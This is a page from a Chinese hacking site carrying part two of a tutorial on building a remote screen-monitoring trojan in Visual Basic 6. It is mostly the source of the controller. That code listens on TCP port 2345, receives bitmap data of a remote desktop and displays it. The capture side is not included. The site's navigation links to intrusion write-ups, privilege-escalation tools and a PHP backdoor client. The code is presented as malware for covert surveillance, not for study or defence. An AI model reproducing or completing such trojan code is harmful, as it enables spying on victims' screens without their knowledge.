黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]用VB打造远程屏幕监控木马(VB黑客编程)
      ★★★★★

用VB打造远程屏幕监控木马(VB黑客编程)

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-9-3 9:01:26

'=============================================================
'项目名称:   Server (远程屏幕监控端)
'窗口名称:   FrmServer
'WinSock控件:Ws1
'StatusBar控件:StatusBar1 (注意:StatusBar1.Style = sbrSimple)
'=============================================================


Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private ScrW As Long, ScrH As Long
Private MyHdc As Long, MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
 
  On Error GoTo ErrLoad
 
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
  MyHdc = CreateCompatibleDC(FrmServer.hdc)
  MyBmp = CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH)
  MyOldBmp = SelectObject(MyHdc, MyBmp)
   
  GetObj MyBmp, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim BmpDat(BmpSize - 1)
  GetBitmapBits MyBmp, BmpSize, BmpDat(0)
  WS1.LocalPort = 2345
  WS1.Listen
 
  Exit Sub
 
ErrLoad:
  MsgBox Error
End Sub
Sub getscreen()
End Sub
Private Sub Form_Unload(Cancel As Integer)
  On Error Resume Next
  WS1.Close
  SelectObject MyHdc, MyOldBmp
  DeleteObject MyBmp
  DeleteDC MyHdc
End Sub
Private Sub WS1_Close()
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Disconnected.."
  WS1.Close
  If WS1.State = sckListening Then
    WS1.Close
  Else
    WS1.LocalPort = 2345
    WS1.Listen
  End If
End Sub
Private Sub Ws1_ConnectionRequest(ByVal requestID As Long)
  If WS1.State <> sckClosed Then WS1.Close
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Connecting.."
  WS1.Accept requestID
  If WS1.State = 7 Then StatusBar1.SimpleText = WS1.RemoteHostIP & " Connected.."
End Sub
Private Sub Ws1_DataArrival(ByVal bytesTotal As Long)
  Dim dat() As Byte, i As Long, nTime As Long
 
  On Error Resume Next
 
  WS1.GetData dat, vbArray Or vbByte
  i = InStrB(1, dat, ChrB(13) & ChrB(10))
  If i > 0 Then
    'StartT = Timer
    If i > 1 Then CopyMemory BmpDat(RevByte), dat(0), i - 1
    SetBitmapBits MyBmp, UBound(BmpDat) + 1, BmpDat(0)
    RevByte = 0
    '实用程序中,不用临时DC,下面一步可省
    BitBlt Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, MyHdc, 0, 0, vbSrcCopy
    nTime = Timer - Val(Me.Caption)
    Me.Caption = Timer - StartT
    If Len(StatusBar1.SimpleText) < 255 Then
        StatusBar1.SimpleText = nTime & "," & StatusBar1.SimpleText
    Else
        StatusBar1.SimpleText = nTime
    End If
    If bytesTotal > i + 1 Then
        RevByte = bytesTotal - i - 1
        CopyMemory BmpDat(0), dat(i + 1), RevByte
    End If
  Else
    CopyMemory BmpDat(RevByte), dat(0), bytesTotal
    RevByte = RevByte + bytesTotal
  End If
 
End Sub
Private Sub WS1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  StatusBar1.SimpleText = ("Error : " & Description)
End Sub

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886